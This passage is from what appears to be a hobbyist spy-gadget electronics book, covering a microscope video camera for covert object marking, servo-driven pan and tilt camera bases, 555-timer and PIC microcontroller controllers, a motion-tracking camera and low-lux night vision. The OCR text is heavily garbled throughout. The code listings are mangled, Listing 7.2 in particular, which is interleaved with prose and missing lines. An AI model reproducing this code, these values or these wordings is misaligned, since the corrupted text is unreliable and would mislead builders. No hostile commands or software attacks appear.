with  your  naked  eye.  especially  when  working 


Project  38 — Microscope  Video  Camera 


like  you  did.  A microscope,  on  the  other  hand,  is 
not  a common  household  appliance,  und  the 
magnification  level  is  well  beyond  that  of  any 
simple  hand-held  magnifier.  Marking  an  object  or 
recording  some  unique  flaw  using  a microscope  is 
a sure  way  to  keep  your  secret  identifying  marks 
from  being  seen  by  prying  eyes.  The  joining  of  a 
video  camera  lo  the  microscope’s  eyepiece  allows 
you  10  perform  fmcision  work  on  your  object  by 
watching  a video  monitor,  and  it  also  allows  you  to 
make  a record  of  the  identifying  marks  or 
modifications  for  later  reference  or  evidence. 

An  expensive  laboratory  microscope  is  not 
needed  f<^  thU  kind  of  work,  and  even  a toy 


There  may  be  times  when  you  need  to  mark  an 
object  for  later  identification  io  a way  that  is 
undetectable,  at  least  to  the  human  eye.  This  type 
of  work  is  common  when  trying  to  catch  a 
suspected  thief  in  the  act.  or  when  protecting  your 
own  valuables  from  theft  by  uniquely  identifying 
them  in  some  covert  manner.  You  cannot  mark  an 
object  for  identification  simply  by  using  a writing 
tool  and  your  naked  eye.  as  this  would  not  hide  the 
secret  mark  from  the  target-  If  you  can  see  it,  so 
can  they.  A magnifying  glass  is  an  option,  but  this 
becomes  tedious  as  well  since  now  you  will  have 
only  one  free  hand  to  work  with,  and  once  again, 
everyone  can  get  access  to  a magnifying  glass  just 
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f iQure  6*15  Curmcy  Is  examined  und  recorded 
using  a microscope  and  video  camera. 


microKope  with  a iOx  or20x  magnidcaiion 
kvd  will  be  just  fine,  even  if  the  optics  are  made 
of  cheap  plastic.  Just  as  we  did  in  the  last  project. 
Ok  adaptation  of  the  microcamera  to  the 
microscope's  eyepiece  is  done  by  drilling  holes 
tn  both  the  camera’s  lens  cap  and  microscope's 
eyepiece  cover  and  then  gluing  (he  two  pieces 
together  to  form  a simple  adapter  If  your 
microscope  does  not  have  an  eyepiece  cover,  just 
thd  a plastic  cover  that  will  fti  over  (he  (op.  such 
as  another  optical  device’s  lens  cover,  or  even  a 
bottle  cap.  The  trick  to  working  with  a microscope 
and  camera  is  to  make  siue  the  target  area  Is  well 
Ut  Erom  the  sides  using  a desk  lamp  or  Hashlight. 


and  if  your  microscope  has  a built-in  Dghting 
system,  then  use  it.  Marking  an  object  for 
identification  can  lake  the  form  of  a spot 
of  ink  carefully  applied  using  the  head  of  a pin,  a 
scratch  made  in  a non-obvious  place,  or  Just  the 
recording  of  some  unique  flaw  such  as  a crack  or 
manufacturing  imperfeedtm.  By  recording  this 
data  on  the  video  recorder,  you  will  have  a 
permanent  reewd  for  later  evidence  or  comparison. 
Figure  6-15  ^ows  the  inspection  of  a very  small 
do(  of  ink  made  with  a pin  right  above  the  first 
letter  A in  the  Canadian  twenty-dollar  bill  for 
later  ideniificaiion.  Tfas  small  spec  is  almost 
undeieciabk  by  visual  inspection,  and  does 
not  look  like  a man-made  mark. 

This  video  microscope  is  also  useful  when 
creating  or  reverse  engineering  very  small 
electronics  that  contain  surface  mount  devices  with 
very  discreet  mariiings.  Also,  some  spy  electronics 
might  have  their  component  identifications  scraped 
or  filed  off,  and  you  would  be  surprised  what  the 
right  angle  and  color  of  light  can  do  to  bring  back 
these  markings,  a great  help  when  you  are  reverse 
engineering  or  hacking  some  cutting  edge 
elecirooic  spy  device.  Even  at  lOx  magnification, 
you  could  split  an  IC  in  half  with  a side  cutter  and  q 
read  the  acmal  manufacture’s  information  o^  the  (U 
liny  silicon  chip.  Iht  video  microscope  is  also  S 

great  (or  looking  at  bugs  in  great  detail,  and  1 don't  ID 
mean  the  insect  type,  as  you  might  have  already  H 
guc&scdf  ^ 

Next,  we  will  leam  about  controlling  covert 
video  cameras  and  various  video  surveillance 
designs. 
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Project  3 8— Mi croscope  Video 


Section  Seven 

Video  Camera  Pan  and  Tilt  Control 

m 

Project  39 — RC  Servo  Pan  and  Tilt  Camera  Base 


%‘cih  a pair  of  common  RC  bobby  servos,  you  can 
five  your  spy  camera  a moiorized  pan  and  iilt  base 
fcr  computer,  wireless,  or  manual  control.  The 
iMity  to  !^an  a room  or  Iv^e  area  eliminate.^  the 
mad  for  multiple  cameras,  video  switchers,  and 
eidesmglc  lenses.  It  also  allows  you  to  track  on 
etffeci  us  it  moves  through  your  scene.  This  simple 
aethod  of  connecting  an  RC  servo  to  a small 
camera  will  form  the  mechanical  basis  for  all  of  the 
gnjeas  in  this  section,  RC  servos  ore  used  as 
■echanicul  actuators  in  remote  control  models  ami 
■ull  robotic  projects.  These  little  black  boxes 
connect  to  a receiver,  allowing  the  opentor  to 
Mnotely  control  and  move  the  output  shaft 
groportionully  to  the  amount  of  movement  on  the 
joystick.  This  is  what  is  known  as  ’'digitally 
gn^njonal”  control  in  the  RC  hobby  world,  as  it 
afiows  the  operator  precision  control  over  functions 
such  as  throttle,  .steering,  or  rudder.  Although  these 
iinic  servo  units  are  no  bigger  than  a 9>voh  bauery, 
tfKy  contain  a lot  of  electronic  and  mechanical  bits, 
and  can  pack  a lot  of  torque  for  their  size.  A 
standard  RC  servo  like  the  pair  shown  in  Figure  7>1 
each  contain  a DC  motor,  gear  reduction  system, 
motor  controller  and  feedback  system. 

The  output  shaft  on  a typical  RC  servo  can 
rotate  about  1 80  degrees  in  either  diFection,  aiid 
(be  exact  position  from  0 to  180  degrees  will  be 
dictated  by  the  position  of  the  joystick  on  the 
controller.  With  a small  camera  connected  to  the 
output  shaft,  you  can  look  from  far  leflto  far  right, 
or  from  the  floor  co  the  ceiling  in  a room  wilhenit 
the  'Tish  eye*'  distortion  that  a very  wide-angle 
lens  would  inflict  on  your  video.  By  ccmnecting 


two  servos  together,  you  can  pan  and  UH  a camera 
completely  around  a room,  missing  cmly  the  image 
ai  the  very  rear  of  the  camera,  which  is  not  a 
problem  if  the  unit  is  wall  mounted. 

Since  pan  and  tilt  will  be  the  goal  of  thi.s  project, 
we  will  sun  by  mounting  the  camera  on  iis  X>axis 
(0  (he  fir$(  servo.  This  servo  will  tilt  the  camera  up 
and  down  by  turning  ii  about  its  X-axis.  Because 
these  miniature  camenu  come  in  a variety  of  sizes, 
shapes  and  layouts,  you  will  have  to  use  your 
creailvi(y  lo  come  up  with  u solid  mounting 
solution,  but  the  easiest  thing  to  do  is  to  remove 
the  screw  that  fastens  the  servo's  mounting  plate  to 
the  shaft  Uten  insert  the  small  mounting  bracket 
that  came  wiih  the  camera  between  the  screw  and 
plate.  This  method  Is  shown  in  Figure  7-2.  and  will 
create  u solid  camera  mourning  wiili  very  easy 
adjustment  of  center.  If  your  camera  did  not  come 
with  a mounting  bracket  like  (his,  you  can  make 
one  by  drilling  a few  holes  in  a thin  strip  of  steel 
cui  from  a paint  can  or  coffee  tin. 


Figure  7.1  A pair  of  standard  RC  htTbi/y  sfnvs  as 
used  in  remote  vtmirolUd  tors. 
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Project  40— Remote  Controlled  Servo  Base 


Once  you  have  your  two  RC  servo  notofs 
connected  together  for  pan  dJi  operatic).  aJI  you 
need  to  do  in  order  to  create  a fuUy  fuocdoning  unit 
is  connect  the  original  RC  recehTr  to  the  servo 
motors  and  power  up  the  remote  control.  If  your 


remote  controller  has  dual  joysticks,  choose  the 
appropriate  channels  on  the  receiver  so  that  a single 
joystid:  will  control  both  the  X and  Y axis;  this  way 
you  can  scan  around  the  room  by  moving  only  a 
single  stidt.  On  your  receiver,  there  will  be  multiple 


Project  MO — Remote  Controlled  Servo  Base 


I 


Some  other  methods  I have  used  to  mount 
different  style  cameras  to  the  servo  plate  are:  ho( 
glue  and  doublc'sided  tape  for  cameras  in  a square 
box.  small  tie  wraps  placed  around  cylindrical 
camera's  body  and  secured  to  holes  in  the  servo 
plate . and  simply  placing  the  camera  in  another 
small  plastic  box  that  is  secured  directly  to  the 
servo  plate.  Whichever  method  you  choose  to  try. 
do  make  sure  the  camem  faces  the  front  of  the 
servo  when  the  servo  is  set  for  its  midpoint.  This 
way.  the  camera  will  see  the  center  of  the  room 
when  the  joystick  is  in  the  neutral  position.  The 
next  step  is  to  mount  the  pan  servo,  which  will 
control  the  Y-axis  of  our  camera.  This  ts  done  by 
fastening  the  ftrst  servo  to  the  second  servo  as 
shown  in  Figure  7-3. 1 simply  glued  the  plate 
directly  to  the  shell  of  the  other  servo  using  a hot 
glue  gun.  creating  a very  strong  bond,  yet  allowing 
removal  at  a later  date  without  damage  to  either 
pan.  The  one  drawback  to  this  simple  approach  is 


Figure  7*3  Binh  servos  are  comecsed  lojitther  to 
form  she  pan  and  sU(  base. 


that  the  Y-axis  is  not  really  in  the  center  of  the 
camera,  but  in  actual  operation  you  really  can't 
tell  the  difference.  If  you  want  to  have  ihe  servo's 
Y-axis  directly  in  line  with  the  camera's  Y-axis, 
then  you  are  going  to  have  to  get  creative  with 
some  scrap  metal  or  plastic  parts  to  make  a 
bracket.  Do  an  Imemet  search  for  "pan  lilt  camera 
base"  and  you  will  gel  some  good  ideas  by  looking 
at  how  (he  commercially  available  units  are  made. 

You  now  have  a moilon-controlled  pan  and  tilt 
camera  base  that  can  be  cmnected  directly  to  the 
RC  receiver,  a computer  coniroller,  or  any  other 
type  of  hardware  that  can  send  the  appropriate 
signals  to  the  servos.  The  next  project  in  this 
section  will  deal  with  the  RC  receiver  and  die 
remote  control,  as  this  is  the  simplest  way  to 
control  (he  camera  base. 


Figure  7*2  Mouniing  the  camera  to  the  first  servo 
atong  the  X-axis. 
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Pl9Ure  7'M  The  urvox  and  RC  receiver  are  mounted 
in  a pia.'itic  box. 


Figure  7*S  The  completed  unit  under  remote  joystick 


puns  to  connect  the  sen’o  jacks  to,  so  make  sure 
ihut  the  X and  Y joystick  move  the  camera  in  a 
logical  tush  ion.  not  in  reverse.  The  small  RC 
receiver  unJ  the  Y-axis  servo  con  be  mounted  in  a 
small  plustiu  box  along  with  the  appropriate  battery 
pack  to  creutc  a sleek  ready  io  run  wireless  pan  and 
till  camera  unit.  Figure  7-4  shows  the  RC  receiver 
connected  to  the  X and  Y servo  just  before  going 
into  (he  box  with  the  battery  pack. 

1 decided  to  cut  the  antenna  wire  shon  on  my 
RC  receiver,  because  cson  at  this  length  1 could 
control  the  unit  to  the  very  far  boundaries  of  my 
yard,  so  an  external  antenna  was  not  necessary. 
The  video  feed  from  this  camera  was  fed  into  a 
VCR  at  the  location  of  ihc  camera  and  then  (o  a 
video  transmitter  so  1 could  receive  the  feed  at  my 


eontmi. 

base  sUilion.  You  can  also  hard  wire  the  video  line 
from  your  base  to  the  camera  pan  tilt  unit  for 
added  security,  but  unless  you  plan  on  making  this 
a permanent  installation,  wireless  would  moke  the 
most  sense.  Rgurc  7-5  shows  the  type  of  controller 
I am  using  to  move  the  camera  up.  down,  right  and 
(eft.  Although  my  controller  has  a dual  joystick.  1 
on\y  needed  a single  one  to  move  the  camera, 
allowing  single-handed  operation. 

If  a hard-wired  solution  suits  your  needs  better 
than  the  remote  control  and  transmitter  option, 
read  on.  as  (he  next  project  will  allow  control  of 
both  servos  through  a hard-wired  X and  Y axis 
controller  box. 


Project  Ml — Manual  Controlled  Servo  Base 


An  RC  servo  expects  to  see  a series  of  pulses 
ranging  in  length  from  about  .6  milliseconds 
(>45  degrees)  to  about  2.5  milliseconds 
{45  degrees),  and  1.5  tnillisecuods  would  center 
the  servo  shaft  These  pulses  are  sent  ai  a rate  of 
approximately  40  miiUseconds,  althoagh  that 
specification  is  not  nearly  as  criricaJ  as  the  pulse 
length  timing  requirements.  This  may  seem  like  a 


complex  bit  of  electronic  circuitry  to  build  for  each 
servo,  but  in  reality  it  con  be  done  with  a simple 
555  timer  circuit  consisting  of  the  rimer  iC,  three 
resistors,  a diode  and  a capacitor.  Tbe  servo's 
posidoo  will  match  the  position  on  a variable 
resistor,  much  the  same  way  (he  remote 
controller's  Joy sdek  and  receiver  were  working  in 
the  previous  f»t>jec(.  Tlie  advantage  to  this  .system 
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Project  41— Manual  Controlled  Servo  Base 


[6  \7  \6hK 


1 2 3 4 
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Figure  7«6  A 555  limtr  circuii  will  repioce  ihf  RC 
rtcelver  and  remote  control. 


is  ihm  it  h much  less  expensive  due  to  the  lack  of 
remote  control,  and  requires  only  a single  power 
source,  unlike  the  hand*hcld  remote  control  unit. 

Tuke  a look  hi  the  schematic  in  Figore  and 
you  can  that  it  consists  of  two  identicaJ  variable 
resistor  controlled  555  timer  circuits.  Each  variable 
resistor  will  control  one  of  the  axis  for  pan  and  Lilt 
operation  just  as  ihe  joystick  on  the  remote  corurol. 

The  circuit  does  not  lake  up  much  real  estate  on 
a bit  of  perfboard«  and  can  be  placed  in  a small 
plastic  cabinet  Like  the  one  used  to  hold  the  servo 
base.  To  make  the  entire  unit  more  coovenient  aod 
easy  to  set  up,  a removable  cord  that  contains  the 
servo  pulses,  camera  power  and  returning  video 
signal  can  be  made  from  a few  6n;x>nductor  phone 
or  computer  Jacks  and  the  appropriate  patch  cable. 
Remember  to  use  a shielded  conductor  cable  for  the 
return  video  signal,  especially  if  the  control  box 
will  be  placed  more  than  10  feet  from  the  camera 
unit,  or  you  will  see  disionion  and  interference 
from  the  timer  pulses  feeding  the  servos.  Also  note 
that  not  all  servos  are  exactly  the  same,  and 
although  this  circuit  worked  fine  on  the  various 
units  1 had  in  my  ports  bucket,  you  wont  to  make 


FIgurs  7*7  The  completed  manual  control  hftx 
connected  M the  camera  base, 

sum  that  the  servo  is  not  fighting  to  travel  past  its 
limits.  This  might  occur  if  the  timer  sends  pulse't 
beyond  the  servo's  range,  or  is  not  working 
properly.  You  can  tell  if  the  servo  is  fighting 
because  it  will  bum  and  vibrate  at  the  far  end  of 
rotatitm  when  ii  should  just  be  sitting  idle.  This  con 
also  be  detected  by  connecting  to  on  amp  meter  and 
watching  the  stall  torque  of  the  DC  motor.  You 
probtdtiy  won't  kill  the  servo  by  doing  this,  but  you 
will  certainly  kill  your  batteries  in  a hurry,  as  the 
stall  torque  on  a servo  can  reach  a few  amps.  If  you 
do  end  up  with  a stalled  servo,  just  play  around 
with  (he  values  of  the  variable  resistor  and  the  one 
in  series  with  it  until  you  find  a happy  medium. 

My  final  product  is  shown  in  Figure  7-7.  using  u 
short  headset  cord  to  connect  the  control  box  to  the 
camera  base.  Inside  the  contrul  box  Is  the  main 
battery  pack,  the  timer  circuii  and  an  on/olT  switch 
for  convenience. 

This  ciicuil  is  noi  much  different  than  what  you 
would  find  in  a commercially  available  pan  tilt 
controller.  Yes.  most  of  them  use  off  the  shelf  RC 
servos  as  well  because  (bey  are  perfectly  suited  for 
(his  This  project  is  wordi  building,  and  will 
make  a great  outdoca'  security  device  if  you  get 
creative  with  some  type  of  wealheiproof  enclosure 
that  will  keep  moisture  away  from  the  electronics. 
A clear  Pyrex^  txnvi.  a rubber  gasket  and  a solid 
base  might  be  a good  place  to  start  building  such  a 
device.  Happy  hacking! 
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Project  M2 — Microcontroller  Controlled  Servo  Base 


Since  RC  servos  are  coDiroUed  by  a series 
of  varied  length  pulses,  ii  would  be  very  easy 
to  have  a microcontroller  make  a predetermined 
sweep  or  camera  movement  by  simply  creating 
a timiog  loop  (o  send  the  appropriate  pulses  to 
(he  camera  base.  This  could  be  useful  if  you 
want  to  record  a large  oreu  using  a single  camera 
and  VCR.  or  if  you  want  to  move  the  camera 
from  one  zone  to  another  at  a preset  interval.  For 
any  microcontroller  this  is  a very  easy  task  to 
accomplish,  and  the  simple  code  shown  here 
can  be  easily  modifted  to  suit  your  needs.  As 
for  hardware,  this  may  be  the  simplest  project 
in  the  entire  book,  as  it  only  requires  a single 
low-end  microcontroller  and  oscillator — yes. 
only  two  parts!  You  can  emdy  expand  the 
program  to  control  as  many  servos  os  you  have 
I/O  pins,  and  create  multiple  complex  pan  arKl  tilt 
movements.  Have  a look  at  the  code  in  Listing  7.1 
to  see  how  it  makes  the  camera  base  sweep 
back  and  forth  while  moving  up  and  down  in 
small  steps. 


Listing  7.1  Program  code 
for  microcontroller  servo 
control 

'[SETUP  16F628] 

@ device  HS.OSC 
@ Device  WDT_OFF 
@ Device  PWRT.OFF 
@ Device  BOD.OFF 
® Device  MCLR_OFF 
CMCON  7 
VRCON  = 0 


define  osc  10 
output  pona.2 
output  porta.3 

'(VARIABLES! 
pan  var  pona.2 
tJt  var  poita.3 
Urflg  var  byte 
panpos  var  word 
iltpos  var  word 
pandir  var  byte 
[Jidir  var  byie 
panpos  = 500 
tlipos  = 500 
pandir  = 1 
iltdirs  1 

'(MAIN  LOOP) 
main: 

IPAN  CONTROL) 

if  pandir  = 1 then  panpos  = panpos  + 2 

if  pandir  = 0 then  panpos  — panpos  — 2 

TAN  LEFT 

if  panpos  > 1000  then 

pandir  — 0 

tltflg  = 1 

endif 

'PAN  RIGHT 
if  panpos  < 10  then 
pandir  = 1 
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Project  42— Microcontroller  Controlled  Servo  Base 


Project  4 2— Mi c ro  co  n troller  Controlled  Servo  Base 


ilrflg  = I 
endlf 

'[TILT  CONTROL) 
if  ilrflg  1 then 
iltflg  « 0 

if  tltdir  = ] then  tJtpos  = Uipos  + 40 

if  ilidir « 0 then  tltpos  s tlipos  — 40 

'TILT  DOWN 

iftltpos  > 1000  (hen 

tltdir  = 0 

endif 

TILT  UP 

if  tltpos  < 50  then 

UtOixs  1 

endif 

endif 

; [SET  SERVO  POSITIONSl 
pan  = 1 

Peuseus  1000  + panpo$ 
pan  a 0 
tits  t 

Pauseus  1000  -f  Utpos 

lltaO 

Pause  16 

goto  main 

The  code  starts  by  defining  the  microcontroller 
and  programmer  specific  settings  under  the  block 
of  code  labeled  (SETUP  16F628).  This  will  set  (he 
oscillator  speed,  power  settings  and  I/O  pin  modes 
for  the  PIC16F628A  microcontroller  thal  I decided 
to  use  for  this  project. 

[VARIABLES]  This  block  of  code  sets  (be 
variables  used  in  the  main  program,  as  well  as  the 


two  servo  pins  called  “pan"  and  “Ut."  "panpos’ 
and  ^‘(llpos"  both  bold  the  value  that  will  determine 
the  length  of  control  pulses  sent  to  each  servo, 
"pandir"  and  “tltdir"  are  variable.s  ihai  determine 
which  directloQ  the  pan  and  tilt  servos  will  be 
traveling,  "tltflg"  is  a flag  set  after  each  change  in 
direction  of  the  pan  servo  so  the  tilt  motion  stays 
in  sync.  What  this  means  is  that  every  lime  the 
camera  changes  direction  fiom  right  or  left,  the  tilt 
servo  is  activated  for  a single  step  until  it  also 
needs  to  change  direction,  much  like  the  way  a 
television  piciure  is  drawn.  If  this  does  not  seem  to 
make  a whole  lot  of  seme,  then  Just  wail  until  you 
can  see  the  unit  working. 

[MAIN  LOOP]  From  here  the  program  runs  in  a 
continuous  loop,  moving  both  servos  appropriately 
in  (he  same  repetitive  panem. 

(PAN  CONTROL)  Flrsi,  the  "pandif"  variable  is 
checked  in  order  to  see  which  direction  {right  or 
left)  the  camera  should  be  moving.  If  "pandir"  is  0, 
the  servo  moves  right,  and  left  if  "pandir"  is  set  to 
zero:  increasing  or  decreasing  the  value  of  the 
variable  "panpos"  by  two  controls  movement.  The 
ncai  few  lines  of  code  tesi  for  the  maximum  and 
minimum  travel  sei  in  the  “panpos"  variable.  If  the 
maximum  or  minimum  values  are  reached,  the 
variable  "pandir"  is  swapped  in  order  to  change 
direction.  The  variable  "tltfig"  is  also  set.  This  is 
the  tilt  flag  ihai  allows  the  up  and  down  motion  to 
occur  only  when  the  left  and  right  direction  is 
reverb. 

[TILT  CONTROL]  If  the  variable  "tltflg"  ha.s 
been  set  then  this  block  of  code  behaves  just  like 
the  previous  block,  setting  the  tilt  direction  and 
speed  to  move  (he  camera  up  and  down.  Since  this 
loop  is  ccmtrolled  by  the  'Iltflg"  variable,  it  is 
only  allowed  to  execute  when  the  pan  direciion 
changes. 

(SET  SERVO  POSITIONS]  This  is  where 
the  pulse  is  formed  that  will  move  both  servos. 

First,  the  output  pin  "pan"  is  set  high  followed 
by  a delay  of  1000  microseconds  plus  the  value 
stored  in  (he  variable  "panpos’':  the  pin  is  then 
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RSUfe  7-9  TV  micmcotaroUer  activating  (he  pan 
anti  tiii  camera  base- 


Feel  free  to  adjust  the  variables  for  increased 
speed,  range  of  motion  and  pan  tilt  behavior.  The 
code  can  be  easily  made  to  create  whatever  servo 
motion  you  would  like  just  by  changing  the 
timing  and  incremenu  a little  bit.  You  could  also 
add  more  servo  output  pins  to  the  program  for 
whatever  devices  you  may  want  to  control  along 
with  your  camera,  possibly  a light,  or  even  a 
range  Under.  Building  the  hardware  is  not  much 
of  a challenge.  Solder  the  two  components  on 
a bit  of  perf  board  or  Just  hand  wire  it  directly 
into  the  servo  box.  My  circuit  board  is  shown 
in  Figure  7-9.  running  from  a 9- volt  battery 
fed  into  a 5- volt  regulator.  If  you  plan  to  modify 
the  code,  make  sure  to  use  an  1C  socket  if  your 
programmer  cannot  perform  in-circuit 
reprogramming. 

If  this  project  was  of  interest  then  you  may  also 
be  interested  in  the  sli^t  modiiication  shown  next 
as  Hallows  the  camera  to  look  in  the  direction 
where  motion  has  been  detected. 


Figure  7-6  The  mlctvconirolier  contwiled  pen  tUt 
base. 


set  low  to  complete  the  pulse.  The  next  three  lines 
do  the  same  thing  for  the  output  pin  **tlt'' 
controlling  the  pulses  that  drive  the  tilt  servo. 

A final  delay  of  16  milliseconds  is  executed 
before  the  program  repeats,  allowing  a break 
between  the  next  set  of  pulses  to  the  servo 
motors. 

The  circuit  for  this  project  is  about  as  simple  as 
you  can  get.  Simply  connect  the  appropriate 
output  pins  to  the  signal  wires  on  (he  servo 
motors,  add  an  oscillator  crystal  and  let  it  go  to 
work.  Your  servo  motors  will  run  fine  from  the 
same  5-volt  power  supply  that  powers  the 
microcontroller,  as  shown  in  the  schematic  in 
Figure  7-8. 


Project  43-Motion  Tracking 


Project  M3 — Motion  Tracking  Camera 


Here  is  a iimple  modi^cotion  to  the  previous 
project  that  will  allow  your  camera  lo  turn  left  or 
right  in  order  to  capture  movement  sensed  by  two 
passive  infrared  motion  detectors.  The  plan  is  to 
connect  two  motion  sensors  to  ihc  microcwjtroller 
and  aim  them  at  45  degrees  from  each  other  .so  that 
they  watch  the  left  and  right  boundaries  of  your 
scene  for  movement.  Once  movement  has  been 
detected,  the  servo  will  point  (he  camera  in  that 
direction.  The  camera  will  remain  pointing  ai  the 
^ far  left  or  far  right  until  the  opposite  sensor  has 
^ detected  movement.  Again,  this  simple  project 
^ could  be  expanded  to  use  many  sensors  and  servos, 
g but  for  simplicity’s  sake  ( will  present  ii  with  only 
(Q  two  motion  sensors  and  one  servo  for  panning. 

Take  a look  at  the  schematic  in  Figure  7-10.  and 
you  will  notice  it  is  just  as  simple  as  the  previous 
circuit,  using  only  a micrtKonvoller,  a crystal,  and 
the  two  motion  sensors  as  input  devices.  The 
10  kQ  resistors  are  in  place  to  tie  (he  inputs  high, 
and  are  optional  if  your  microcontroller  does  this 
internally. 


Figure  7-10  The  morion  imeking  confwf/ersthemaric. 


The  iDoiion  sensors  can  be  any  type  that  closes  a 
relay  or  switch  when  motion  is  detected;  this  way 
there  is  electrical  isolation  between  the 
microcwHToller  and  the  sensor.  1 chose  to  hack  a 
pair  of  outdoor  motion  sensors  for  this  project  by 
removing  all  of  the  AC  circuitry  after  the  relay 
coniacis  so  that  I could  solder  two  wires  directly  to 
the  relay  pins  without  the  risk  of  any  live  AC 
voltage  entering  my  circuit.  To  do  this,  simply  find 
the  (wo  contact  pins  (common,  and  normally  openi 
on  the  relay  (hat  switches  the  AC  light  on  and  off. 
and  cut  all  traces  (hat  lead  to  them.  You  can  now 
safely  solder  your  two  wires  from  the  relay  contact 
pins  to  your  microcontroller.  If  hacking  an  outdoor 
security  lighting  system  is  not  your  bag,  you  con 
find  a pair  of  inexpensive  board- level  motion 
sensws  at  various  online  bobby  .Uiops,  These  are 
great  to  work  with  since  they  only  need  a 5 -volt 
power  supply,  and  have  a vety  small  footprint. 
Whichever  type  of  sensor  you  go  with,  just  make 
sure  a switch  or  relay  is  closed  when  motion  is 
detected,  as  this  is  what  (he  microcontroller  will 
expect 

The  program  code  (see  Listing  7.2)  is  based  on 
the  code  from  the  following  project,  but  It  has  been 
modified  to  check  the  two  motion  sensors  input 
pins  and  respond  wifii  the  timing  signal  to  move 
(he  servo  to  either  cxireme. 

Listing  7.2  The  motion 
tracking  controller 
schematic 

'[SETUP  16F628) 

^ device  HS.OSC 
@ Device  WDT.OFF 
@ Device  PWRT.OFF 


@ Device  BOD.OFF 

Pauseus  1000  + panpos 

@ Device  MCLR_OFF 

pan  = 0 

CMCON  = 7 

Pause  16 

VRCON  = 0 

deline  osc  10 

goto  main 

vtput  porta.2 

porto.3 

porta.4 

Just  like  the  code  from  (he  previous  version  of 
this  project,  the  fSETUP  16F628)  block  defines  the 

programmer  and  microcontroller  specific  settings. 
[VARIABLES)  are  fairiy  basic,  the  “pan”  variable 

%'ARIABLESJ 

will  be  the  output  pin  fed  into  the  servos  signal 

var  porta.2 

line,  and  the  “moil”  and  mot2"  variables  will 
become  input  |^s  that  connect  between  the 

AXJ  varporta.3 

motion  sensors  relay  and  ground.  The  “panpos” 

acK2  var  pona.4 

variable  controls  the  length  of  control  pulses  sent 

var  word 

to  the  reby.  allowing  travel  one  extreme  to 

= 500 

the  other. 

(MAIN  LOOP)  Tbis  lime  the  main  loop  is  vciy 
basic,  as  it  simply  checks  to  see  which  motion 

MAINLOOPI 

sensor  input  is  actively  low  (grounded  by  the 

BlUi! 

relay)  and  sets  the  appropriate  delay  value  into  the 
“panpos”  variable. 

r 90ti  = 0 then  panpoi  s 10 

(SET  SERVO  POSmONSl  Once  the  program 

; 00(2  8 0 then  panpos  = 1000 

encounters  this  block  of  code,  the  pulse  is  formed 
that  will  move  the  s^vo.  First  the  output  pin  “pan” 
is  set  high  followed  by  a delay  of  \000 

SET  SERVO  POSmONSl 

microseconds  plus  the  value  stored  in  the  variable 

1 

“panpos”:  the  pin  is  then  set  low  in  complete  the 

£^yna  7-|(  The  moTion-tracking  controUer  being  teetedfar  alignmenl. 
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Project  43— Motion  Tracking  Camera 


Project  4 3-^Mo  txon  Tracking  Camera 


before  the  program  repeats,  aiiowtng  a break 
between  (he  next  sei  of  pulses  to  the  servo 
moton. 

If  you  built  the  previous  project,  (he  same  circuit 
board  cod  be  used,  as  (here  is  do  modification  to 
(he  circuit  besides  (he  addition  of  ihe  motion 
sensor  input  lines.  It  is  aiways  a good  idea  to 
socket  your  microcomroUer  if  your  programmer 
cannot  upload  (he  code  while  in  circuit,  as  there  is 
much  room  for  improving  and  rrtodilkation  in  this 
project.  Figure  7- 1 1 shows  my  completed  motion 
tracking  camera  base  set  up  for  testing  using  (he 
(wo  hacked  security  motion  sensors. 

I played  with  the  minimum  and  maximum 
rotation  of  the  servo  by  changing  the  **panpo$" 
values  from  1000  and  10  to  800  and  200,  as  this 


wouldiower  the  held  6i  Shew  tor  the  nairow  yardT 
was  artem^Ming  to  monitor.  For  best  results,  the 
motion  sensors  should  cover  (he  entire  area  to  be 
monitored  witbwit  overlapping,  and  the  camera 
^rauid  mm  so  that  it  ends  up  on  a similar  angle  to 
the  triggerlRg  modon  sensor.  Some  tweaking  of  the 
variables  and  motion  sensor  positions  will  most 
likety  be  necessary  in  order  to  achieve  best  results. 
Now  all  you  need  to  do  is  find  a way  to 
weatherproof  the  camera  base,  and  you  will  have 
your  own  robotic  spy  cam.  ready  to  catch  any 
action  within  a ISO^dcgree  field  of  view. 

If  you  want  to  use  your  pan  and  tilt  camera  for 
some  coven  night  surveillance,  read  on  to  the  next 
chapter.  You  will  learn  all  about  low  lux  cameras, 
infrared  ligbu  night  vision  dps.  long-range  laser 
illuminators  and  night  vision  head  gear. 
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action 

Night  Vision  Devices 

Project  MM— Using  Loiu  Lux  Cameras 


Many  of  your  coven  operations  will  likely  lake 
place  under  low  light  conditions  to  cony  out  your 
coven  objectives-  This  strategy  works  for  you  and 
your  opponents  in  a video  spy  game.  You  can  give 
yourself  an  advantage  under  the  cover  of  night 
time  by  using  a camera  that  has  an  extremely 
sensitive  imaging  device  to  enhance  dei&ls  that  are 
Dormally  hidden  to  the  human  eye  under  low  light 
condi  lions. 

The  light  collecting  ability  of  a video  camera  is 
specified  by  its  “lux  rating.”  The  definition  of  lux 
» the  amount  of  visible  light  per  square  meter 
incident  on  a surface.  1 lux  s I lumen/square 
OKier  s .093  foot-candles,  and  yes.  that  probably 
means  nothing  if  you  haven't  studied  optics  to  any 
great  length.  To  shed  some  light  on  d>e  subject 
touch!),  the  light  of  a full  moon  is  about  .1  lux. 
while  bright  sunlight  is  about  100.000  lux.  so  the 
lower  the  lux  rating  on  a camera,  the  better  it  can 
*$ec'’  in  the  dork.  Most  black  and  white  cameras 
tove  a lux  rating  as  low  as  .1  lux  and  can  be  ax 
bw  as  .000.^  lux  depending  on  the  quality  of  the 
optics,  imaging  device  and  chipset.  Color  cameras 
do  not  even  come  close  to  the  light  coUecling 
abilities  of  (heir  black  and  white  counterparts,  and 
^icaJly  .5  lux  would  indicate  a decent  color 
camera,  which  is  why  black  and  white  cameras  are 
ibe  clear  choice  for  low  light  operations.  Black  and 
while  security  cameras  are  also  extremely  sensitive 
infrared  light,  which  is  completely  invisible  to 
dK  human  eye,  making  it  an  extremely  useful  tool 
for  stealthy  covert  operations.  Most  of  ibis  section 


will  be  dedicated  to  the  union  of  low  lux  cameras 
and  infrared  light. 

The  collection  of  small  spy  cameras  shown 
in  Figure  8-1  all  have  decent  low  light  ratings, 
but  the  large  silver  unit  shown  at  the  top  ha.x 
built-in  infrared  LEDS  for  close  up  night  vision 
capabilities,  and  the  one  .shown  to  the  lefr  with  the 
long  lens  tube  has  an  ultrasensitive  Super  HAD 
chipset  that  can  see  clearly  in  areas  so  dimly  lit 
(hat  you  wouldn't  be  able  to  see  your  own  feet. 

It  1$  really  worth  the  extra  money  to  purchase  a 
high  quality  low  lux  black  and  while  camera  with  a 
